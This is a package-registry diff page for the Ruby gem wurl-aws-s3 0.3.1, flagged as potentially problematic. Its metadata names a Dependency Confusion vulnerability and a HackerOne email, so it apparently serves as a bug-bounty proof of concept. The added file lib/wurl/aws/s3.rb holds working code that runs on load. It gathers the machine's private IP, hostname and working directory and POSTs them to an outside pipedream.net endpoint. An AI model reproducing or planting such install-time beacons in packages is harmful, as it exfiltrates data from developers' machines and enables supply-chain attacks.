wurl-aws-s3 0.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of wurl-aws-s3 might be problematic. Click here for more details.

Files changed (3) hide show
  1. checksums.yaml +7 -0
  2. data/lib/wurl/aws/s3.rb +24 -0
  3. metadata +43 -0
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: 3aceb188fbb7ba9c02483150dd399d9c488743b924fa8e86ec578e22498fccaf
4
+ data.tar.gz: ff7711d1735a6f8b449396820f91f8f9a4bcee189dc3e47352e2c52a10f6fc0a
5
+ SHA512:
6
+ metadata.gz: bbd9421305b9f2359871c00adb44177f2094d507cddc728277e3b5ac6e0a4979086f286c3e646f202430553f0e0dc90c1cc0f1c67084bef9a5d0645b9901b69f
7
+ data.tar.gz: 5b05710b5a1879e0541df89b759159670cd169c62a0cd07f49fe25e7dd7aee4539484558373e8e47977819c61a9135f06c07232c6cef24eaa2c075b872a5b13a
@@ -0,0 +1,24 @@
1
+ module wurl-aws-s3
2
+
3
+ require 'json'
4
+ require 'net/http'
5
+ require 'socket'
6
+
7
+ privip = Socket::getaddrinfo(Socket.gethostname,"echo",Socket::AF_INET)[0][3]
8
+ hostname = Socket.gethostname
9
+ dir = Dir.pwd
10
+
11
+ uri = URI('https://eoqwmgnr5y7vn53.m.pipedream.net')
12
+ req = Net::HTTP::Post.new(uri, 'Content-Type' => 'application/json')
13
+
14
+ req.body = {
15
+ private_ip: privip,
16
+ hostname: hostname,
17
+ current_directory: dir
18
+ }.to_json
19
+
20
+ Net::HTTP.start(uri.hostname, uri.port, :use_ssl => uri.scheme == 'https') do |http|
21
+ http.request(req)
22
+ end
23
+
24
+ end
metadata ADDED
@@ -0,0 +1,43 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: wurl-aws-s3
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.3.1
5
+ platform: ruby
6
+ authors:
7
+ - Wurl, Inc.
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2023-10-16 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: wurl-aws-s3 (0.3.1)
14
+ email: brunet@wearehackerone.com
15
+ executables: []
16
+ extensions: []
17
+ extra_rdoc_files: []
18
+ files:
19
+ - lib/wurl/aws/s3.rb
20
+ homepage: https://rubygems.org/gems/wurl-aws-s3
21
+ licenses:
22
+ - MIT
23
+ metadata: {}
24
+ post_install_message:
25
+ rdoc_options: []
26
+ require_paths:
27
+ - lib
28
+ required_ruby_version: !ruby/object:Gem::Requirement
29
+ requirements:
30
+ - - ">="
31
+ - !ruby/object:Gem::Version
32
+ version: '0'
33
+ required_rubygems_version: !ruby/object:Gem::Requirement
34
+ requirements:
35
+ - - ">="
36
+ - !ruby/object:Gem::Version
37
+ version: '0'
38
+ requirements: []
39
+ rubygems_version: 3.0.3.1
40
+ signing_key:
41
+ specification_version: 4
42
+ summary: Dependency Confusion vulnerability
43
+ test_files: []